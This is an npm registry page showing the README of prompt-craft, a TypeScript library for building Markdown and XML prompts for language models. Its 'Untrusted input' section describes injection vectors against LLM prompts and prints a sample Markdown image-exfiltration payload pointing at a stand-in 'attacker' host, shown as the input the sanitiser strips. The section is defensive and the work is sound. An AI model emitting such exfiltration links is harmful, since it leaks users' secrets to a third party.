npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@mertdogar/prompt-craft

v0.3.0

Published

Tiny, immutable, chainable Markdown builder for LLM prompts.

Readme

prompt-craft

Tiny, immutable, chainable Markdown builder for LLM prompts. Compose safe Markdown using a small fluent API.

Install

npm install @mertdogar/prompt-craft

Quick start

import { P } from '@mertdogar/prompt-craft';

const doc = P.heading(2, 'Ticket Summary').append(
  P.paragraph(
    P.bold('Issue: ').append('Checkout fails on mobile.'),
    P.bold('Owner: ').append('Mert Doğar'),
  ),
  P.unorderedList([
    'Repro on iOS 18 / Safari',
    { content: 'Only happens with campaign code', children: [
      'Code applied via query param',
      'Not reproducible with manual input',
      P.bold('Tested on: ').append('iOS 18 / Safari')
    ]},
    'No errors in Sentry',
    P.codeBlock("console.log('Hello, world!')", 'ts'),
  ])
);

console.log(doc.render());

CommonJS usage

const { P } = require('@mertdogar/prompt-craft');

const doc = P.heading(1, 'Hello').append(' world');
console.log(doc.render());

API overview

  • Creation: P.from(x), P.empty(), P.concat(...), P.join(items, sep), P.t\template``
  • Inline: P.text(s), P.raw(s), P.safe(s), P.untrusted(s), P.space(), P.lineBreak(), P.newline(n), P.bold(x), P.italic(x), P.strike(x), P.codeInline(x), P.link(text, href)
  • Blocks: P.heading(level, x), P.paragraph(...parts), P.blockquote(x), P.codeBlock(code, lang), P.horizontalRule(), P.xml({ tag, attrs?, content? }), P.section(name, body, { level? }) — switches between Markdown heading and XML tag based on render({ format })
  • Lists: P.unorderedList(items, opts), P.orderedList(items, opts)
  • Tables: P.table(headers, rows, align)
  • Conditionals: P.If({ condition, whenTrue, whenFalse }), P.Switch(value, branches)
  • Collections: P.Map(items, (item, index) => node), P.fewShot(items, { render, n?, dedupe? })
  • Messages & caching: P.system(body), P.user(body), P.assistant(body), P.conversation(...messages), message.cache(), conversation.toMessages({ provider })
  • Typed templates: P.template('Hello {{name}}').with({ name }) — slot names inferred at the type level; missing slot is a compile error
  • Strict template tag: P.tStrict\Hello ${P.untrusted(input)}`` — refuses bare strings, forcing explicit trust on every interpolation
  • Schema rendering: P.schema(zodSchema, { style?, name? }) — renders a Zod schema as a TS type or JSON Schema in a fenced code block
  • Tool definitions: P.tool({ name, description?, parameters? }) and P.tools([...tools]) — XML-tagged tool docs for instruction-following models
  • Fingerprinting: P.fingerprint(p) / p.fingerprint() — stable 8-char hex hash of the rendered output, useful as a cache key or snapshot identifier
  • Strict whitespace: P.strict(p) / p.strict() — strips trailing spaces, normalizes CRLF, collapses 3+ blank lines to 2
  • Token budgeting: P.priority(level, content) and P.budget({ maxTokens, tokenizer? }, ...items) — drops lowest-priority items until under the token budget

Messages and caching: P.system / P.user / P.assistant / P.conversation

Build a multi-message conversation and emit it in a provider-specific shape. Supports Anthropic (with prompt-cache breakpoints), OpenAI, Google Gemini, and the Vercel AI SDK CoreMessage shape.

import { P } from '@mertdogar/prompt-craft';

const convo = P.conversation(
  P.system('You are a senior staff engineer.').cache(),
  P.user('Please review this PR.'),
  P.assistant('Sure — paste the diff.'),
);

// Anthropic: { system: [...], messages: [...] } with cache_control on cached blocks
const anthropic = convo.toMessages({ provider: 'anthropic' });

// OpenAI: flat messages array, no manual cache markers (server-side caching)
const openai = convo.toMessages({ provider: 'openai' });

// Gemini: { systemInstruction, contents } with assistant -> model
const gemini = convo.toMessages({ provider: 'gemini' });

// Vercel AI SDK CoreMessage: flat with providerOptions.anthropic.cacheControl
const core = convo.toMessages({ provider: 'core' });

// Debug-friendly XML serialization for snapshot tests
console.log(convo.render());

message.cache() marks the end of a stable prefix. The renderer enforces Anthropic's 4-breakpoint cap (throws on more) and warns once when a cached prefix is below the 1024-token minimum. The default tokenizer is a chars/4 heuristic; pass { tokenizer: fn } to plug in your own.

The core provider returns ModelMessage[] directly from the Vercel AI SDKai is an optional peer dependency (>=5 <7). Install it only if you use toMessages({ provider: 'core' }); the rest of the library has zero runtime dependencies. The output is drop-in for generateText / streamText:

import { generateText } from 'ai';
import { anthropic } from '@ai-sdk/anthropic';

const result = await generateText({
  model: anthropic('claude-sonnet-4-5'),
  messages: convo.toMessages({ provider: 'core' }),
});

Schema rendering: P.schema

P.schema(zodSchema, opts?) renders a Zod schema as a prompt-friendly type description so the same schema can drive both validation and the model's output instructions — no drift. zod is an optional peer dependency (>=4 <5); install only if you use this helper.

import * as z from 'zod';
import { P } from '@mertdogar/prompt-craft';

const Output = z.object({
  summary: z.string(),
  sentiment: z.enum(['positive', 'neutral', 'negative']),
  tags: z.array(z.string()),
});

P.schema(Output, { name: 'Output' }).render();
// => ```ts
//    type Output = {
//      summary: string;
//      sentiment: "positive" | "neutral" | "negative";
//      tags: Array<string>;
//    }
//    ```

Pass { style: 'json' } for a JSON-Schema rendering instead. The walker is pure duck-typing on _zod.def, so zod is never imported at runtime — only the parameter type is borrowed via import type.

Untrusted input: P.untrusted and P.tStrict

For user-supplied input, P.safe is not enough — attackers can use zero-width characters, BiDi overrides, ANSI escapes, or Markdown image-exfil patterns (![steal](https://attacker/?leak=...)) that survive a plain Markdown escape. P.untrusted(s) strips those vectors and escapes inline specials.

import { P } from '@mertdogar/prompt-craft';

const evil = '*pwn* ![steal](https://attacker/?leak=secret)​\x1B[31mred\x1B[0m';

P.untrusted(evil).render();
// => *pwn* \![steal\](https://attacker/?leak=secret)red

// Recommended pattern: wrap in a logical fence so the LLM treats it as data.
P.xml({ tag: 'user_input', content: P.untrusted(evil) }).render();

P.tStrict is a stricter variant of P.t that refuses bare string / number / boolean interpolations at compile time — every slot must be an explicit MDRenderable (P.text, P.safe, P.untrusted, etc.). Catches the recurring footgun of forgetting to wrap untrusted content.

const userInput: string = '*hi*';

P.tStrict`Body: ${P.untrusted(userInput)}`;     // OK

// @ts-expect-error — bare string is rejected
P.tStrict`Body: ${userInput}`;

Typed templates: P.template

P.template(source) returns a Template with slot names inferred from {{name}} markers in the source string. .with(values) substitutes each slot and returns a Prompt. Missing or unknown slots are compile-time errors.

import { P } from '@mertdogar/prompt-craft';

const t = P.template('Hello {{name}}, you have {{count}} messages.');

t.with({ name: 'Mert', count: 3 }).render();
// => Hello Mert, you have 3 messages.

// Slot values follow CLAUDE.md trust-by-default: strings pass through verbatim,
// Prompt nodes render through their own .render(), and P.safe() opts in to escaping.
t.with({ name: 'Mert', count: P.bold(3) }).render();
// => Hello Mert, you have **3** messages.
const t = P.template('Hi {{name}}');
// @ts-expect-error — 'unknown' is not a declared slot
t.with({ name: 'a', unknown: 'b' });

Tool definitions: P.tool / P.tools

For instruction-following models that need to reason about their tools (or any model where you want tool docs in-prompt), inject tool definitions with P.tool and bundle multiple with P.tools. The parameter schema flows through P.schema, so the same Zod object feeds both your real registry and the in-prompt docs.

import * as z from 'zod';
import { P } from '@mertdogar/prompt-craft';

const getWeather = P.tool({
  name: 'get_weather',
  description: 'Get the current weather for a city.',
  parameters: z.object({
    city: z.string(),
    units: z.enum(['celsius', 'fahrenheit']).optional(),
  }),
});

P.tools([getWeather, sendEmail]).render();
// <tools>
// <tool name="get_weather">
// <description>...</description>
// <parameters>
// ```ts
// { city: string; units?: "celsius" | "fahrenheit"; }
// ```
// </parameters>
// </tool>
// <tool name="send_email"> ... </tool>
// </tools>

P.tools(...) self-closes when given an empty list and accepts both varargs and an array.

Few-shot examples: P.fewShot

A single render function enforces consistency across all examples — no drift between the formatting of example 1 and example 7. dedupe(item) collapses duplicates by key (first wins); n caps the count after deduping; items whose render returns empty are skipped silently.

import { P } from '@mertdogar/prompt-craft';

const examples = [
  { id: 'a', q: 'add 2+2', a: '4'  },
  { id: 'b', q: 'sub 5-3', a: '2'  },
  { id: 'a', q: 'add 2+2', a: '4'  },  // duplicate — deduped
];

P.xml({
  tag: 'examples',
  content: P.fewShot(examples, {
    render: (ex, i) => P.xml({
      tag: 'example', attrs: { index: i + 1 },
      content: P.concat(
        P.paragraph(P.bold('Q: '), ex.q),
        P.paragraph(P.bold('A: '), ex.a),
      ),
    }),
    dedupe: (ex) => ex.id,
    n: 5,
  }),
}).render();

Semantic sections + render-mode switch: P.section

Most multi-section prompts can target Anthropic (XML-tagged) and OpenAI (Markdown-styled) from a single source if you use P.section(name, body) instead of bare P.heading + body. The active format is chosen at the top-level render({ format }) call and propagates to every nested section.

import { P } from '@mertdogar/prompt-craft';

const tree = P.concat(
  P.section('Role',  P.paragraph('You are a senior staff engineer.')),
  P.section('Style', P.unorderedList(['Be concise.', 'Cite line numbers.'])),
);

tree.render();
// ## Role
//
// You are a senior staff engineer.
//
// ## Style
//
// - Be concise.
// - Cite line numbers.

tree.render({ format: 'xml' });
// <Role>
// You are a senior staff engineer.
// </Role>
//
// <Style>
// - Be concise.
// - Cite line numbers.
// </Style>

Section names with whitespace become tag names with _ separators (e.g. "Style guide"<Style_guide>).

Token budgeting: P.priority + P.budget

P.priority(level, content) tags content with a numeric priority that's invisible to readers and other helpers but visible to P.budget. P.budget({ maxTokens, tokenizer? }, ...items) renders all items, and if the total exceeds maxTokens it drops the lowest-priority items first until the budget is met. Bare items (no priority wrapper) are required and never dropped — if they alone exceed the budget, you get one console.warn.

import { P } from '@mertdogar/prompt-craft';

const ragChunks = [
  { score: 0.92, text: 'Foxes are in the dog family Canidae.' },
  { score: 0.71, text: 'The red fox is the largest true fox.' },
  { score: 0.55, text: 'Foxes live on every continent except Antarctica.' },
  { score: 0.34, text: 'Vulpine means anything fox-like.' },
];

P.budget(
  { maxTokens: 1000 /* default tokenizer is chars/4; pass tokenizer: for accuracy */ },
  P.section('Question', userQuestion),                       // required
  ...ragChunks.map(c =>
    P.priority(Math.round(c.score * 100), P.paragraph(c.text))  // droppable in score order
  ),
).render();

The classic use case is a RAG prompt where the question is mandatory and retrieved chunks are tagged with their relevance score — chunks with low scores fall out first as the budget tightens.

Whitespace normalization: P.strict

Defensive cleanup for parsers and SSE consumers (where trailing whitespace measurably hurts model performance and \n\n collides with stream delimiters). Strips trailing spaces/tabs per line, normalizes CRLF to LF, and collapses 3+ blank lines to 2.

import { P } from '@mertdogar/prompt-craft';

P.strict('## Title   \r\n\r\nbody   \r\n\r\n\r\n\r\nfooter\t').render();
// "## Title\n\nbody\n\nfooter"

// Or fluently:
P.heading(2, 'Title').append(P.paragraph('body   ')).strict().render();

Fingerprinting: P.fingerprint

Stable 8-char hex hash (32-bit FNV-1a) of a prompt's rendered output. Useful as a cache key, snapshot identifier, or change-detection signal. Sync, dependency-free, and the same input always produces the same output.

import { P } from '@mertdogar/prompt-craft';

const a = P.heading(2, 'Hello').append(P.paragraph('World'));
a.fingerprint();                   // "483a3c95"
P.fingerprint(a);                  // same
P.fingerprint('Hello world');      // also accepts pre-rendered strings

Conditional rendering: P.If

Choose between two branches with a boolean or a function predicate. undefined is treated as false. whenTrue and whenFalse can be values, P nodes, or thunks that return them (evaluated lazily). then/else are still accepted for backward compatibility.

import { P } from '@mertdogar/prompt-craft';

const doc = P.If({
  condition: true, // or () => boolean
  whenTrue: P.heading(1, 'Hello'),
  whenFalse: P.heading(2, 'World'),
});

console.log(doc.render());

If whenFalse/else is omitted and the condition is false (or undefined), it yields empty output.

Switch statements: P.Switch

Choose between multiple branches based on a value. Returns the first matching case's content, or empty output if none match.

import { P } from '@mertdogar/prompt-craft';

const userType = 'admin';

const doc = P.Switch(userType, [
  { case: 'admin', content: P.heading(2, 'Admin Dashboard') },
  { case: 'user', content: P.heading(2, 'User Profile') },
  { case: 'guest', content: P.heading(2, 'Welcome') },
]);

console.log(doc.render());
// => ## Admin Dashboard

You can also use function predicates for more complex matching:

const score = 85;

const doc = P.Switch(score, [
  { case: (n: number) => n >= 90, content: P.paragraph('Grade: A') },
  { case: (n: number) => n >= 80, content: P.paragraph('Grade: B') },
  { case: (n: number) => n >= 70, content: P.paragraph('Grade: C') },
  { case: (n: number) => n >= 60, content: P.paragraph('Grade: D') },
]);

console.log(doc.render());
// => Grade: B

Content can be values, P nodes, or lazy functions that return them (evaluated only when matched).

Collections: P.Map

Map arrays into nodes and concatenate them.

import { P } from '@mertdogar/prompt-craft';

const array = [
  { title: 'Hello', description: 'World' },
  { title: 'Hello', description: 'World' },
];

const doc = P.Map(array, (item) => P.heading(3, item.title));
console.log(doc.render());
// =>
// ### Hello
//
// ### Hello
//
  • Instance chaining: p.append(...), p.bold(), p.italic(), p.strike(), p.codeInline(), p.link(href), p.render()

Notes:

  • P.text escapes inline Markdown specials while allowing existing Markdown via P.raw.
  • Headings, paragraphs, code blocks, lists, and quotes end with two newlines by default for LLM-friendly spacing.

XML blocks: P.xml

Block-level XML element with smart-trim layout, designed for structuring prompts to LLMs (especially Claude, where <instructions>, <context>, <example> are idiomatic). Attribute values are auto-escaped; body content is not.

import { P } from '@mertdogar/prompt-craft';

const doc = P.concat(
  P.xml({ tag: 'instructions', content: 'Be concise.' }),
  P.xml({
    tag: 'examples',
    content: P.concat(
      P.xml({ tag: 'example', attrs: { index: 1 }, content: 'foo' }),
      P.xml({ tag: 'example', attrs: { index: 2 }, content: 'bar' }),
    ),
  }),
  P.xml({ tag: 'scratchpad' }),  // self-closes when content is missing
);

console.log(doc.render());

Renders as:

<instructions>
Be concise.
</instructions>

<examples>
<example index="1">
foo
</example>

<example index="2">
bar
</example>
</examples>

<scratchpad />

Attribute values are escaped with the full XML 1.0 set (&, <, >, ", '). Pass null or undefined for an attribute value to skip it entirely; empty string is kept.

Custom blocks (extension)

Create your own helpers with P.extend(...):

import { P } from '@mertdogar/prompt-craft';

const MyP = P.extend({
  callout(title: any, body: any) {
    return this.concat(
      this.heading(3, title),
      this.blockquote(body)
    );
  },
});

const doc = MyP.callout('Note', 'Use responsibly.');
console.log(doc.render());

You can also use a builder function if you prefer capturing the base:

const MyP = P.extend(Base => ({
  warn(msg: any) {
    return Base.paragraph(Base.bold('Warning: ').append(msg));
  }
}));

Examples

See files under examples/:

  • simple.ts
  • headings.ts
  • lists.ts
  • blocks.ts
  • template-tag.ts
  • table.ts
  • extend.ts
  • map.ts
  • if.ts
  • switch.ts
  • messages-anthropic.ts
  • messages-openai.ts
  • messages-multi-provider.ts
  • template.ts
  • safety.ts
  • schema.ts
  • tools.ts
  • fewshot.ts
  • section.ts
  • budget.ts
  • fingerprint.ts
  • strict.ts

Run all examples:

npm run examples

Testing

npm i
npm test

TypeScript

Ships with TypeScript types. P is an alias for Prompt.

License

GPL-3.0. See LICENSE. Repository: https://github.com/mertdogar/prompt-craft